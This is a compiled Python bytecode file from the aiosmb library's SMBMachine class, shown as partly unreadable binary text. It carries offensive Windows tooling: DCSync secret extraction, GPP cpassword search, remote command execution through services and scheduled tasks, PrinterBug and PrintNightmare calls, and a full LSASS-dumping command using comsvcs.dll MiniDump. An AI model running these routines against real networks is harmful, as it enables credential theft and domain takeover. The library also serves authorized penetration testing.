o
    jD                     @   s  d dl Z d dlZd dlZd dlmZmZmZmZmZm	Z	m
Z
 d dlmZ d dlmZ d dlmZ d dlmZ d dlmZ d dlmZ d d	lmZmZ d d
lmZmZ d dlmZmZ d dl m!Z! d dl"m#Z#m$Z$ d dl%m&Z&m'Z' d dl(m)Z)m*Z* d dl+m,Z,m-Z- d dl.m/Z/m0Z0 d dl1m2Z2m3Z3 d dl4m5Z5 d dl6m7Z7 d dl8m9Z9 d dl:m;Z;m<Z< d dl=m>Z> d dl?m@Z@mAZA d dlBmCZCmDZD d dlEmFZF d dlGmHZH G dd dZIdS )    N)Callable	AwaitableListDictAsyncGeneratorTupleUnion)logger)SMBShare)SMBUserSession)SMBFile)SMBDirectory)find_cpasswd)SRVSRPCsrvsrpc_from_smb)SAMRRPCsamrrpc_from_smb)LSADRPClsadrpc_from_smb)drsuapirpc_from_smb)	REMSVCRPCremsvcrpc_from_smb)RRPRPCrrprpc_from_smb)RPRNRPCrprnrpc_from_smb)TSCHRPCtschrpc_from_smb)PARRPCparrpc_from_smb)WKSTRPCwkstrpc_from_smb)atsvcrpc_from_smb)RPC_SID)SMBUserSecrets)
SMBServiceServiceStatus)SMBConnection)tschscmr)CtlCodeIOCTLREQFlags)PRINTER_CHANGE_ADD_JOB)asynccontextmanagerc                   @   s
  e Zd ZdddZdd Zdd Zdd	 ZedddZde	e
eeedf f df fddZddede	e
eeedf f df fddZddede	e
eeedf f df fddZddede	e
eeedf f df fddZde	e
eeedf f df fddZde	e
eeeedf f df fddZdded ede	e
eeeedf f df fd!d"Zded#ede	e
eeeeedf f df fd$d%Zded&ed'efd(d)Zded&edee
eeedf f  fd*d+Zded&edee
eeedf f  fd,d-Zded&edee
eeedf f  fd.d/Zded&ed0ed1edee
eeedf f  f
d2d3Zded&ed4ed1edee
eeedf f  f
d5d6Z ded&ed1edee
eeedf f  fd7d8Z!ded&ed1edee
eeedf f  fd9d:Z"defd;d<Z#ded#ed=edee
eeedf f  fd>d?Z$d@e%de	e
eeedf f df fdAdBZ&dCddDdEgg dddfdFedGedHe'e dIe'e dedJedKede	e
eee%e(f eeedf f df fdLdMZ)ddOe*eegee f dFede	e
eee%e(f eeedf f df fdPdQZ+dRedSedee
eeedf f  fdTdUZ,dVedWe(fdXdYZ-dVedZe%fd[d\Z.dWe(de	e
e/eedf f df fd]d^Z0d_edee
eeedf f  fd`daZ1dbedee
eeedf f  fdcddZ2deedfe%dee
eeedf f  fdgdhZ3de	e
e4eedf f df fdidjZ5dkedee
e6eedf f  fdldmZ7dkedee
eeedf f  fdndoZ8ddpede	e
eeeedf f df fdqdrZ9dg fdpedse'e de	e
e:eedf f df fdtduZ;dee
e<eedf f  fdvdwZ=dxedSedee
eeedf f  fdydzZ>dee
e'e eedf f  fd{d|Z?dd}ed~edee
eeedf f  fddZ@ddededkedede	e
e/eedf f df f
ddZAdeBjCfdkededededee
eeedf f  f
ddZDdkedee
eeedf f  fddZEdkedee
eeedf f  fddZFdkedee
eeedf f  fddZGdkedee
e4eedf f  fddmZ7ddedSedkedee
eeedf f  fddZHde	e
eeedf f df fddZIdedee
eeedf f  fddZJdde	e
eeedf f df fddZKdeLjMdeLjNfdedededededee
eeedf f  fddZOdee
eeedf f  fddZPddedede	e
e/eedf f df fddZQdedee
eeedf f  fddZRdd}ed~edee
eeedf f  fddZSdedee
eeedf f  fddZTddedededee
e'e eedf f  fddZUddededed~efddZVddededed~efddZWdee
e'eXeeeef f  eedf f  fddZYdkedee
e6eedf f  fddZZdkedee
eeedf f  fddZ[dee
eXee/f eedf f  fddZ\ddFefddÄZ]ddefddƄZ^ddefddȄZ_ddedefdd˄Z`ddedefdd̈́Zaddτ Zbdee
eeedf f  fddфZcdS )
SMBMachineNc                 C   s   || _ || _|| _g | _d S N)
connectionprint_cbforce_rpc_authsessions)selfr0   r1   r2    r5   /root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/aiosmb/commons/interfaces/machine.py__init__(   s   
zSMBMachine.__init__c                    s   | S r/   r5   r4   r5   r5   r6   
__aenter__.      zSMBMachine.__aenter__c                    s.   zt j|  ddI d H  W d S    Y d S )N   )timeout)asynciowait_forclose)r4   exc_typeexc	tracebackr5   r5   r6   	__aexit__1   s
   zSMBMachine.__aexit__c                    s   d S r/   r5   r8   r5   r5   r6   r?   7   r:   zSMBMachine.closeTFc                 C  sR   | | j|||I d H \}}|r|z|V  W | I d H  d S | I d H  w r/   )from_smbconnectionr0   r?   )r4   
servce_obj
auth_levelopenperform_dummyinstanceerrr5   r5   r6   connect_rpc:   s   "zSMBMachine.connect_rpcreturnc              
   C  s   zO|   2 zF3 d H W \}}|d ur	 |j dkrL|| jI d H \}}|d ur+||jd j| jddd2 z3 d H W \}}}|dkrJ|jd fV  q76 q6 W d S  tyh } zd |fV  W Y d }~d S d }~ww )NIPC$    d   depth
maxentriesfile)list_sharesnameupperconnectr0   subdirslist_r	Exception)r4   sharerJ   _entry	entrytypeer5   r5   r6   
list_pipesD   s(   *
zSMBMachine.list_pipesfetch_share_sdc           	   
   C  s  zot | j| jd4 I d H U}| 2 zB3 d H W \}}}}|d ur3d |fV   W d   I d H  W d S t|||d| jj |f d}|du rP|| jI d H  |d fV  q6 W d   I d H  W d S 1 I d H siw   Y  W d S  ty } zd |fV  W Y d }~d S d }~ww )NrF   z\\%s\%s)rV   styperemarkfullpathT)	r   r0   r2   rU   r
   targetget_hostname_or_ipget_security_descriptorr[   )	r4   rb   rpcrV   
share_typere   rJ   r\   r`   r5   r5   r6   rU   S   s.   
2zSMBMachine.list_shares
   levelc              
   C  s   zet | j| jd4 I d H K}|j|d2 z63 d H W \}}}|d ur4d |fV   W d   I d H  W d S t||dd d}| j| |d fV  q6 W d   I d H  W d S 1 I d H s_w   Y  W d S  t	y~ } zd |fV  W Y d }~d S d }~ww )Nrc   rm   \rN   )usernameip_addr)
r   r0   r2   list_sessionsr   replacestripr3   appendr[   r4   rm   rj   rp   rq   rJ   sessr`   r5   r5   r6   rr   g   s"   
2zSMBMachine.list_sessionsrO   c              
   C  s   z^t | j| jd4 I d H D}|j|d2 z/3 d H W \}}}|d ur4d |fV   W d   I d H  W d S t|d}| j| |d fV  q6 W d   I d H  W d S 1 I d H sXw   Y  W d S  tyw } zd |fV  W Y d }~d S d }~ww )Nrc   rn   )rp   )r!   r0   r2   rr   r   r3   ru   r[   rv   r5   r5   r6   wkstlist_sessionst   s"   

2zSMBMachine.wkstlist_sessionsc              
   C  s   z:t | j| jd4 I d H  }| 2 z3 d H W \}}||fV  q6 W d   I d H  W d S 1 I d H s4w   Y  W d S  tyS } zd |fV  W Y d }~d S d }~ww Nrc   )r   r0   r2   list_domainsr[   )r4   rj   domainrJ   r`   r5   r5   r6   rz      s   2zSMBMachine.list_domainsc              
   C  sh   z|  d2 z3 d H W \}}}|||fV  q6 W d S  ty3 } zd d |fV  W Y d }~d S d }~ww )NBuiltin)list_groupsr[   )r4   rV   sidrJ   r`   r5   r5   r6   list_localgroups   s   zSMBMachine.list_localgroupsdomain_nameret_sidc              
   C  s  zit | j| jd4 I dH O}||I dH \}}|dur|||I dH \}}|dur/|||2 z3 dH W \}}}|durC|d||f }	||	dfV  q46 W d  I dH  W dS 1 I dH scw   Y  W dS  ty }
 zdd|
fV  W Y d}
~
dS d}
~
ww )z?
		Lists all groups in a given domain.
		domain_name: string
		rc   Nz%s-%s)r   r0   r2   get_domain_sidopen_domainlist_aliasesr[   )r4   r   r   rj   
domain_sidrJ   domain_handlerV   ridr~   r`   r5   r5   r6   r}      s(   2zSMBMachine.list_groups
group_namec              
   C  s  zt | j| jd4 I d H }t| j| jd4 I d H }| I d H \}}|d ur+|||I d H \}}|d ur;|||I d H \}}|d urK|d }	||2 z3 d H W \}
}}|d ura||
|kri|}	 nqR6 |	d u rutd| |	||	I d H \}}|d ur||
|2 z-3 d H W \}}|d ur||||g2 z3 d H W \}}}|d ur||||d fV  q6 q6 W d   I d H  n1 I d H sw   Y  W d   I d H  W d S 1 I d H sw   Y  W d S  ty } zd d d |fV  W Y d }~d S d }~ww )Nrc   No group found with name "%s")r   r0   r2   r   open_policy2r   r   r   r[   
open_aliaslist_alias_memberslookup_sids)r4   r   r   samrpclsadrpcpolicy_handlerJ   r   r   target_group_ridrV   r   alias_handler~   	user_namer`   r5   r5   r6   list_group_members   sT    *2#zSMBMachine.list_group_membersr   passwordc           	   
      s   z`t | j| jd4 I d H F}|d u s|dks|dkr%| I d H \}}n
||I d H \}}|d ur5|||||I d H \}}|d urG|	 W d   I d H  W dS 1 I d H sZw   Y  W d S  tyw } z
d |fW  Y d }~S d }~ww )Nrc   rN   r|   TN)r   r0   r2   openBuiltinDomainopen_domain_by_namecreate_userr[   )	r4   r   r   r   r   dhandlerJ   r]   r`   r5   r5   r6   add_new_user   s"   4zSMBMachine.add_new_userc              
      s   zZt | j| jd4 I d H @}|||4 I d H }||I d H W  d   I d H  W  d   I d H  W S 1 I d H s=w   Y  W d   I d H  W d S 1 I d H sTw   Y  W d S  tyy } zdd l}|  d |fW  Y d }~S d }~ww )Nrc   r   )r   r0   r2   get_user_handleenable_accountr[   rB   	print_exc)r4   r   r   r   uhandler`   rB   r5   r5   r6   enable_user   s   2zSMBMachine.enable_userc              
         zZt | j| jd4 I d H @}|||4 I d H }||I d H W  d   I d H  W  d   I d H  W S 1 I d H s=w   Y  W d   I d H  W d S 1 I d H sTw   Y  W d S  tyq } z
d |fW  Y d }~S d }~ww ry   r   r0   r2   r   disable_accountr[   r4   r   r   r   r   r`   r5   r5   r6   disable_user   s   2zSMBMachine.disable_userc              
      r   ry   r   r   r5   r5   r6   delete_user   s   2zSMBMachine.delete_userold_passwordnew_passwordc              
         z\t | j| jd4 I d H B}|||4 I d H  }||||I d H W  d   I d H  W  d   I d H  W S 1 I d H s?w   Y  W d   I d H  W d S 1 I d H sVw   Y  W d S  tys } z
d |fW  Y d }~S d }~ww ry   )r   r0   r2   r   change_account_passwordr[   )r4   r   r   r   r   r   r   r`   r5   r5   r6   change_user_password      2zSMBMachine.change_user_passwordold_pw_hashc              
      r   ry   )r   r0   r2   r   change_account_password_ntr[   )r4   r   r   r   r   r   r   r`   r5   r5   r6   change_user_password_nt  r   z"SMBMachine.change_user_password_ntc              
         z[t | j| jd4 I d H A}|||4 I d H }|||I d H W  d   I d H  W  d   I d H  W S 1 I d H s>w   Y  W d   I d H  W d S 1 I d H sUw   Y  W d S  tyr } z
d |fW  Y d }~S d }~ww ry   )r   r0   r2   r   change_account_password_4r[   r4   r   r   r   r   r   r`   r5   r5   r6   change_user_password_new     2z#SMBMachine.change_user_password_newc              
      r   ry   )r   r0   r2   r    change_account_password_internalr[   r   r5   r5   r6   change_user_password_internal  r   z(SMBMachine.change_user_password_internalc              
   C  s   z?t | j| jd4 I d H %}||2 z3 d H W \}}}}||||fV  q6 W d   I d H  W d S 1 I d H s9w   Y  W d S  tyZ } zd d d |fV  W Y d }~d S d }~ww ry   )r   r0   r2   list_users_allowed_to_replicater[   )r4   r   r   rV   r~   r   rJ   r`   r5   r5   r6   r   !  s   2z*SMBMachine.list_users_allowed_to_replicater~   c              
      s  zt | j| jd4 I d H }t| j| jd4 I d H }| I d H \}}|d ur+|||I d H \}}|d ur;|||I d H \}	}|d urK|d }
||	2 z3 d H W \}}}|d ura|||kri|}
 nqR6 |
d u rutd| |	|	|
I d H \}}|d ur|t
 }|| |||I d H \}}|d ur||d fW  d   I d H  W  d   I d H  W S 1 I d H sw   Y  W d   I d H  W d S 1 I d H sw   Y  W d S  ty } z
d|fW  Y d }~S d }~ww )Nrc   r   F)r   r0   r2   r   r   r   r   r   r[   r   r#   fromCanonicaladd_member_to_alias)r4   r   r   r~   r   r   r   rJ   r   r   r   rV   r   r   	targetsidresultr`   r5   r5   r6   add_sid_to_group*  sR   
2 zSMBMachine.add_sid_to_group	directoryc                 C  sJ   | | jI d H \}}|d urd |fV  d S | D ]}|d fV  qd S r/   )listr0   get_console_output)r4   r   r]   rJ   r^   r5   r5   r6   list_directoryO  s   
zSMBMachine.list_directory   zprint$PRINT$rR   rS   exclude_shareexclude_dirfetch_dir_sdfetch_file_sdc              	   C  s   |d u rg }|d u rg }i }|  |2 z!3 d H W \}	}
|
d ur"|
|	j dkr*q|	||	j< |	dd fV  q6 |D ]=}||v r@q9|| | jI d H \}}
|
d urRq9|| jd j| j|||||d2 z3 d H W }|V  tdI d H  qc6 q9d S )NrM   r\   rN   )rR   rS   r   r   r   r   )	rU   rV   rW   rX   r0   rY   rZ   r=   sleep)r4   rR   rS   r   r   rb   r   r   sharesr\   rJ   
share_namer]   r^   r5   r5   r6   enum_all_recursivelyX  s2   
.zSMBMachine.enum_all_recursively  	filter_cbc           
      C  s   i }|   2 z3 d H W \}}|d ur||||j< |dd fV  q6 |D ]R}|d|I d H }|du r3q$|| | jI d H \}}|d urEq$|d|| I d H }|du rTq$|| jd j| j|d|d2 z3 d H W }	|	V  tdI d H  qc6 q$d S )Nr\   	sharenameFrN   )rR   rS   r   r   )rU   rV   rX   r0   rY   rZ   r=   r   )
r4   r   rR   r   r\   rJ   r   resr]   r^   r5   r5   r6   enum_files_with_filtert  s.   
*z!SMBMachine.enum_files_with_filter
local_pathremote_pathc           	   
      s   zGt | j|}|| jdI dH \}}|durd|fW S t|d}||I dH \}}W d   n1 s8w   Y  | I dH  |dfW S  ty^ } z
d|fW  Y d}~S d}~ww )zG
		remote_path must be a full UNC path with the file name included!

		wNFrb)r   from_remotepathr0   rG   write_bufferr?   r[   )	r4   r   r   smbfiler]   rJ   ftotal_writenr`   r5   r5   r6   put_file  s   

zSMBMachine.put_fileout_pathfile_objc              	      s   t |d7}z%| | jdI d H  	 |dI d H }|sn|| qW | I d H  n| I d H  w W d    d S 1 s@w   Y  d S )NwbrTi   )rG   r0   readwriter?   )r4   r   r   r   datar5   r5   r6   get_file  s   
""zSMBMachine.get_filedir_objc                    s   |j | jddd2 z:3 d H W }|jdu r5t|j}tjtj	||dd | 
tj	|||I d H  | tj	||j|I d H  q
6 d S )Nr   r   rQ   T)exist_ok)rZ   r0   is_directoryntpathnormpathrV   osmakedirspathjoinget_directoryr   )r4   r   r   r^   dirnamer5   r5   r6   r     s   
 zSMBMachine.get_directoryc                 C  sZ   | | jdI d H \}}|d urd |fV  d S | 2 z3 d H W \}}||fV  q6 d S )Nr   )rG   r0   read_chunked)r4   r   r]   rJ   r   r5   r5   r6   get_file_data  s   
zSMBMachine.get_file_data	file_pathc                       t | j|I d H S r/   )r   delete_rempathr0   )r4   r   r5   r5   r6   del_file     zSMBMachine.del_filedir_pathc                    r   r/   )r   
delete_uncr0   )r4   r   r5   r5   r6   del_directory_path  r   zSMBMachine.del_directory_pathdirectory_nameparent_directory_objc                    s   | || jI d H S r/   )create_subdirr0   )r4   r   r   r5   r5   r6   create_subdirectory  r   zSMBMachine.create_subdirectoryc              
   C  s   z@t | j| jd4 I d H &}| 2 z3 d H W \}}|d ur!||d fV  q6 W d   I d H  W d S 1 I d H s:w   Y  W d S  tyY } zd |fV  W Y d }~d S d }~ww ry   )r   r0   r2   r   r[   )r4   rj   servicerJ   r`   r5   r5   r6   list_services  s   2zSMBMachine.list_servicesservice_namec              
         z.t | j| jd4 I d H }||I d H W  d   I d H  W S 1 I d H s(w   Y  W d S  tyE } z
d |fW  Y d }~S d }~ww ry   r   r0   r2   
get_configr[   r4   r   rj   r`   r5   r5   r6   get_service_config     4zSMBMachine.get_service_configc              
      s   z4t | j| jd4 I d H }||I d H \}}||fW  d   I d H  W S 1 I d H s.w   Y  W d S  tyK } z
d |fW  Y d }~S d }~ww ry   )r   r0   r2   enable_servicer[   )r4   r   rj   r   rA   r`   r5   r5   r6   r    s   4zSMBMachine.enable_servicetarget_domainc           
   
   C  sX  zt | j| jd4 I d H w}|d u rCtd td | 2 z 3 d H W \}}|d ur/||dkr4q!|d u rA|}td|  q!6 ||I d H \}}|d urS|||I d H \}}|d urc|||2 z3 d H W \}}}|||fV  qh6 W d   I d H  W d S 1 I d H sw   Y  W d S  t	y }	 zd d |	fV  W Y d }	~	d S d }	~	ww )Nrc   (No domain defined, fetching it from SAMRFetching domains...r|   Domain available: %s)
r   r0   r2   r	   debugrz   r   r   list_domain_usersr[   )
r4   r  rj   r{   rJ   r   r   rp   user_sidr`   r5   r5   r6   r    s<   


2zSMBMachine.list_domain_userstarget_usersc              
   C  s,  zzt |tr|g}t| j| jd4 I d H V}|d u s!|dkr| jd ur/| dI d H  ntd td g }| 2 z/3 d H W \}}|d urM||dkrRq?|	| | jd urg| d| I d H  q?td|  q?6 |d }| jd ur| d|d  I d H  n	td|d   t
| j|| jd	4 I d H }td
|  t|dkr|D ]}||I d H \}	}|	|fV  qn||I d H \}
}|d ur|||
I d H \}}|d ur|||2 zf3 d H W \}}}|d urd |fV   W d   I d H  W d   I d H  W d S td|  ||I d H \}	}|d ur>d |fV   W d   I d H  W d   I d H  W d S td|	  |	d fV  q6 W d   I d H  n1 I d H s]w   Y  W d   I d H  W d S 1 I d H suw   Y  W d S  ty } zd |fV  W Y d }~d S d }~ww )Nrc   rN   r  r  r|   r	  r   zSelecting first available: %s)r{   rF   zUsing domain: %szusername: %szsecrets: %s)
isinstancestrr   r0   r2   r1   r	   r
  rz   ru   r   lenget_user_secretsr   r   r  r[   )r4   r  r  r   available_domainsr{   rJ   drsuapirp   secretsr   r   r  r`   r5   r5   r6   dcsync  sz   








/

5,48
zSMBMachine.dcsyncc              
      sb   zt j| j| jdI d H \}}|d ur||d fW S  ty0 } z
d |fW  Y d }~S d }~ww ry   )r   rD   r0   r2   r[   )r4   rI   rJ   r`   r5   r5   r6   
get_regapiC  s   
zSMBMachine.get_regapi	hive_namec              
      s   zRt | j| jd4 I d H 8}||I d H \}}|d ur,d |fW  d   I d H  W S |||I d H \}}||fW  d   I d H  W S 1 I d H sLw   Y  W d S  tyi } z
d |fW  Y d }~S d }~ww ry   )r   r0   r2   OpenRegPathSaveKeyr[   )r4   r  r   rj   
key_handlerJ   r   r`   r5   r5   r6   save_registry_hiveL  s   4zSMBMachine.save_registry_hivec              
      s   zFt | j| jd4 I dH ,}| I dH \}}|dur+d|fW  d  I dH  W S ||fW  d  I dH  W S 1 I dH s@w   Y  W dS  ty] } z
d|fW  Y d}~S d}~ww )z6
		Lists user SIDs available in the HKLM\USERS hive
		rc   N)r   r0   r2   	ListUsersr[   )r4   rj   usersrJ   r`   r5   r5   r6   reg_list_usersW  s   4zSMBMachine.reg_list_userslsass_file_namesilentc                    s  d }zzt | j| jd4 I d H }|d u r"td d }d| }td }|}td d }d||||f }td|  td|  ||||t	j
I d H \}}	|	d urb|	|d	u r| jd ur|| d
| jj |f I d H  ntd
| jj |f  ||I d H \}
}	tdD ]}
tdI d H  t| jd| }|| jI d H \}
}	|	d urq|d	u r| jd ur| d| jj |f I d H  ntd| jj |f  |d f  W  d   I d H  W W |d u r d S | |I d H \}
}	| |I d H \}
}	|	d ur?td |d	u r>| jd ur1| d| jj |f I d H  S td| jj |f  S S |d	u rh| jd ur[| d| jj |f I d H  S td| jj |f  S S d |	fW  d   I d H  W W |d u r d S | |I d H \}
}	| |I d H \}
}	|	d urtd |d	u r| jd ur| d| jj |f I d H  S td| jj |f  S S |d	u r| jd ur| d| jj |f I d H  S td| jj |f  S S 1 I d H sw   Y  W n ty } zd |fW  Y d }~W |d u r d S | |I d H \}
}	| |I d H \}
}	|	d urbtd |d	u ra| jd urT| d| jj |f I d H  S td| jj |f  S S |d	u r| jd ur~| d| jj |f I d H  S td| jj |f  S S d }~ww W |d u rd S | |I d H \}
}	| |I d H \}
}	|	d urtd |d	u r| jd ur| d| jj |f I d H  d S td| jj |f  d S d S |d	u r| jd ur| d| jj |f I d H  d S td| jj |f  d S d S |d u r   Y d S | |I d H \}
}	| |I d H \}
}	|	d urdtd |d	u rc| jd urV| d| jj |f I d H  w td| jj |f  w w |d	u r| jd ur| d| jj |f I d H  w td| jj |f  w w )Nrc      .arjpowershell.exe -NoP -C "%%windir%%\System32\rundll32.exe %%windir%%\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id \Windows\Temp\%s full;Wait-Process -Id (Get-Process rundll32).id".batzF%%COMSPEC%% /Q /c echo %s  2^>^&1 > %s & %%COMSPEC%% /Q /c %s & del %szService: %sCommand: %sFz"[%s] Service created with name: %sr;   \ADMIN$\Temp\%sz9[%s] Dump file is now accessible here: C:\Windows\Temp\%sFailed to delete service!z![%s] Failed to remove service: %sz[%s] Removed service: %s)r   r0   r2   r   urandomhexr	   r
  create_servicer)   SERVICE_DEMAND_STARTr1   rg   rh   printstart_serviceranger=   r   r   r   rG   stop_servicedelete_servicer[   )r4   r  r   r   rj   commanddisplay_name
batch_filer   rJ   r]   tempr`   r5   r5   r6   service_dump_lsasse  s   
"
"
-


"
"
-


"
"*



"
"
-


$
$



"
"zSMBMachine.service_dump_lsassr1  r2  result_wait_timeoutc              
   C  s  z$t | j| jd4 I dH }|du rtd }|du r!|}td d }td }d| }d| }	d||	|||f }td|  ||||t	j
I dH \}
}|dur]|td	|  ||I dH \}}d}td
D ])}td|  t| j|}|| jI dH \}}|durt|I dH  qs n|| 2 z3 dH W \}}|durtd ||du r n||fV  q6 W d  I dH  n1 I dH sw   Y  td | |I dH \}}|durtd td | |I dH \}}|dur	td td | I dH \}}|dur!td dV  W dS  ty? } zd|fV  W Y d}~dS d}~ww )e
		Creates a service and starts it.
		Does not create files! there is a separate command for that!
		rc   Nr!  r$  \ADMIN$\temp\%s%%windir%%\temp\%szM%%COMSPEC%% /Q /c echo %s  ^>  %s 2^>^&1 > %s & %%COMSPEC%% /Q /c %s & del %sr%  zService created. Name: %sr;   Opening temp file. Path: %sTemp file read failed!zStopping service...zFailed to stop service!zDeleting service...r'  Deleting temp file...Failed to delete temp file!NN)r   r0   r2   r   r(  r)  r	   r
  r*  r)   r+  r,  r-  r.  r   r   rG   r=   r   r   r/  r0  warningdeleter[   )r4   r1  r2  r   r6  handler3  temp_file_nametemp_file_locationtemp_locationr   rJ   r]   r4  r   r`   r5   r5   r6   service_cmd_exec  sl   
(
1






zSMBMachine.service_cmd_exec	starttypec           	   
      s   z>t | j| jd4 I dH $}|du r|}|j||||dI dH \}}||fW  d  I dH  W S 1 I dH s8w   Y  W dS  tyU } z
d|fW  Y d}~S d}~ww )r7  rc   N)rF  )r   r0   r2   r*  r[   )	r4   r   r1  r2  rF  rj   r   rJ   r`   r5   r5   r6   r*    s   4zSMBMachine.create_servicec              
         z.t | j| jd4 I dH }||I dH W  d  I dH  W S 1 I dH s(w   Y  W dS  tyE } z
d|fW  Y d}~S d}~ww r7  rc   N)r   r0   r2   r-  r[   r  r5   r5   r6   r-       4zSMBMachine.start_servicec              
      rG  rH  )r   r0   r2   r/  r[   r  r5   r5   r6   r/    rI  zSMBMachine.stop_servicec              
      rG  rH  )r   r0   r2   r0  r[   r  r5   r5   r6   r0    rI  zSMBMachine.delete_servicec              
      rG  rH  r   r  r5   r5   r6   r  #  rI  path_to_executablec           	   
      s   z7|du rt d }|du rt t|}|| }t|}| ||I dH  |}| 	||I dH  W dS  t
yN } z
d|fW  Y d}~S d}~ww )z

		remote path must be UNC
		Nr!  r   )r   r(  r)  NotImplementedErrorr   basenamer   from_uncpathr   r*  r[   )	r4   rJ  r   r   filenameremote_file_pathremote_filer1  r`   r5   r5   r6   deploy_service/  s"   

zSMBMachine.deploy_servicec              
   C  s   z:t | j| jd4 I dH  }| 2 z3 dH W \}}||fV  q6 W d  I dH  W dS 1 I dH s4w   Y  W dS  tyS } zd|fV  W Y d}~dS d}~ww )z
		Lists scheduled tasks
		rc   N)r   r0   r2   
list_tasksr[   )r4   rj   taskrJ   r`   r5   r5   r6   
tasks_listH  s   2zSMBMachine.tasks_list	task_namec              
      rG  )z
		Returns task XML
		rc   N)r   r0   r2   get_taskr[   r4   rU  rj   r`   r5   r5   r6   rV  S  s   4zSMBMachine.get_taskro   c              
   C  s   z;t | j| jd4 I dH !}||2 z3 dH W \}}||fV  q6 W d  I dH  W dS 1 I dH s5w   Y  W dS  tyT } zd|fV  W Y d}~dS d}~ww )z
		Lists task folders
		rc   N)r   r0   r2   list_foldersr[   )r4   r   rj   folderrJ   r`   r5   r5   r6   list_task_folders]  s   2zSMBMachine.list_task_folderstemplateflagssddl
logon_typec              
      s   z3t | j| jd4 I dH }|j|||||dI dH W  d  I dH  W S 1 I dH s-w   Y  W dS  tyJ } z
d|fW  Y d}~S d}~ww )z
		Registers a new task
		rc   N)rU  r\  r]  r^  )r   r0   r2   register_taskr[   )r4   r[  rU  r\  r]  r^  rj   r`   r5   r5   r6   tasks_registerh  s   4zSMBMachine.tasks_registerc              
      r   ry   )r   r0   r2   run_commandsr[   )r4   commandsrj   r`   r5   r5   r6   tasks_execute_commandss  r  z!SMBMachine.tasks_execute_commandsc              
   C  s  z<t | j| jd4 I d H  }td }d| }d| }| jd ur5| d| jj |f I d H  d||f }t	
d|  | jd urU| d| jj  I d H  ||gI d H \}}|d urf|| jd ury| d	| jj  I d H  d }td
D ])}	t	
d|  t| j|}
|
| jI d H \}	}|d urt|I d H  q n|| jd ur| d| jj  I d H  |
 2 z3 d H W \}}|d urt	
d ||d u r n||fV  q6 t	
d | jd ur| d| jj  I d H  |
 I d H \}	}|d ur!t	
d | jd ur!| d| jj  I d H  dV  W d   I d H  W d S 1 I d H s7w   Y  W d S  tyW } zd |fV  W Y d }~d S d }~ww )Nrc   r!  r8  r9  z[%s] Temp file location: %sz%s  >  %s 2>&1r%  z2[%s] Registering new task and executing command...z.[%s] Task executed OK! Waiting for output filerl   r:  z [%s] Got output file, reading...r;  r<  z[%s] Deleting temp file...r=  z [%s] Failed to delete temp file!r>  )r   r0   r2   r   r(  r)  r1   rg   rh   r	   r
  ra  r.  r   r   rG   r=   r   r   r@  r[   )r4   r1  r6  rj   rB  rC  rD  r   rJ   r]   r4  r   r`   r5   r5   r6   tasks_cmd_execz  sf   
 




	


49zSMBMachine.tasks_cmd_execc              
      r   ry   )r   r0   r2   delete_taskr[   rW  r5   r5   r6   tasks_delete  r  zSMBMachine.tasks_deletec           	   
      sx  z|d u rt d d }d| }td|  | |gI d H \}}|d ur+||du rM| jd urC| d| jj	  I d H  n
t
d| jj	   tdD ]O}tdI d H  t| jd| }|| jI d H \}}|d urtqQ|du r| jd ur| d	| jj	 |f I d H  nt
d	| jj	 |f  |d f  W S d |fW S  ty } z
d |fW  Y d }~S d }~ww )
Nr!  r"  r#  r%  Fz7[%s] Dumping task created on remote end, now waiting...r;   r&  z-[%s] Remote file location: C:\Windows\Temp\%s)r   r(  r)  r	   r
  rc  r1   r0   rg   rh   r,  r.  r=   r   r   r   rG   r[   )	r4   r  r   r1  r   rJ   r]   r4  r`   r5   r5   r6   task_dump_lsass  s:   

"
zSMBMachine.task_dump_lsassattacker_hostc              
      s   zet | j| jd4 I dH K}| jdur| dI dH  ntd |d| jj  I dH \}}|dur7||j|t	d| dI dH \}}|durL|	 W d  I dH  W dS 1 I dH s_w   Y  W dS  t
y| } z
d|fW  Y d}~S d}~ww )r7  rc   Nzopening printerz\\%s )pszLocalMachiner   )r   r0   r2   r1   r,  open_printerrg   rh   .hRpcRemoteFindFirstPrinterChangeNotificationExr,   r[   )r4   rh  rj   rA  rJ   respr`   r5   r5   r6   
printerbug  s,   
 4zSMBMachine.printerbugWindows x64   rN   environmentsrV   c              
      s   z1t | j| jd4 I d H }|j|||dI d H W  d   I d H  W S 1 I d H s+w   Y  W d S  tyH } z
d |fW  Y d }~S d }~ww )Nrc   )rm   rV   )r   r0   r2   enum_driversr[   )r4   rp  rm   rV   rj   r`   r5   r5   r6   enum_printer_drivers  s   4zSMBMachine.enum_printer_driversr\   
driverpathc              
         z2t | j| jd4 I d H }|j||||dI d H W  d   I d H  W S 1 I d H s,w   Y  W d S  tyI } z
d |fW  Y d }~S d }~ww Nrc   )rs  rp  r   )r   r0   r2   printnightmarer[   r4   r\   rs  rp  r   rj   r`   r5   r5   r6   rv       4zSMBMachine.printnightmarec              
      rt  ru  )r   r0   r2   rv  r[   rw  r5   r5   r6   par_printnightmare  rx  zSMBMachine.par_printnightmarec              
      s   ztzUg }t d| jj  }|| jdI d H  | jj|jdtj	d t
jdI d H \}}|d ur3||D ]}|j|j|jt|jjd}|| q5|d fW W | I d H  S  tyu } zd |fW  Y d }~W | I d H  S d }~ww | I d H  w )Nz	\\%s\IPC$r   s   )r   r\  )indexcapspeedaddress)r   rM  r0   rg   rh   rG   ioctltree_idr*   "FSCTL_QUERY_NETWORK_INTERFACE_INFOr+   IS_FSCTLIfIndex
Capability	LinkSpeedr  SockAddr_StorageAddrru   r?   r[   )r4   
interfacesipc_file
ifaces_rawrJ   	iface_rawtr`   r5   r5   r6   list_interfaces  s.   &

zSMBMachine.list_interfacesc              
      r   ry   )r   r0   r2   check_service_statusr[   r  r5   r5   r6   r  .  r  zSMBMachine.check_service_statusc              
      r   ry   )r   r0   r2   get_service_sdr[   r  r5   r5   r6   r  5  r  zSMBMachine.get_service_sdc              
      s   z-t | j| jd4 I d H }| I d H W  d   I d H  W S 1 I d H s'w   Y  W d S  tyD } z
d |fW  Y d }~S d }~ww ry   )r   r0   r2   get_backupkeysr[   )r4   rj   r`   r5   r5   r6   r  <  s   4zSMBMachine.get_backupkeysr;   c                 C  s>   t | j|d2 z3 d H W \}}}}}|||||fV  q6 d S )N)rR   )r   r0   )r4   rR   rN  rp   	cpasswordxmltyperJ   r5   r5   r6   get_cpasswdC  s   $zSMBMachine.get_cpasswdserver_namec              
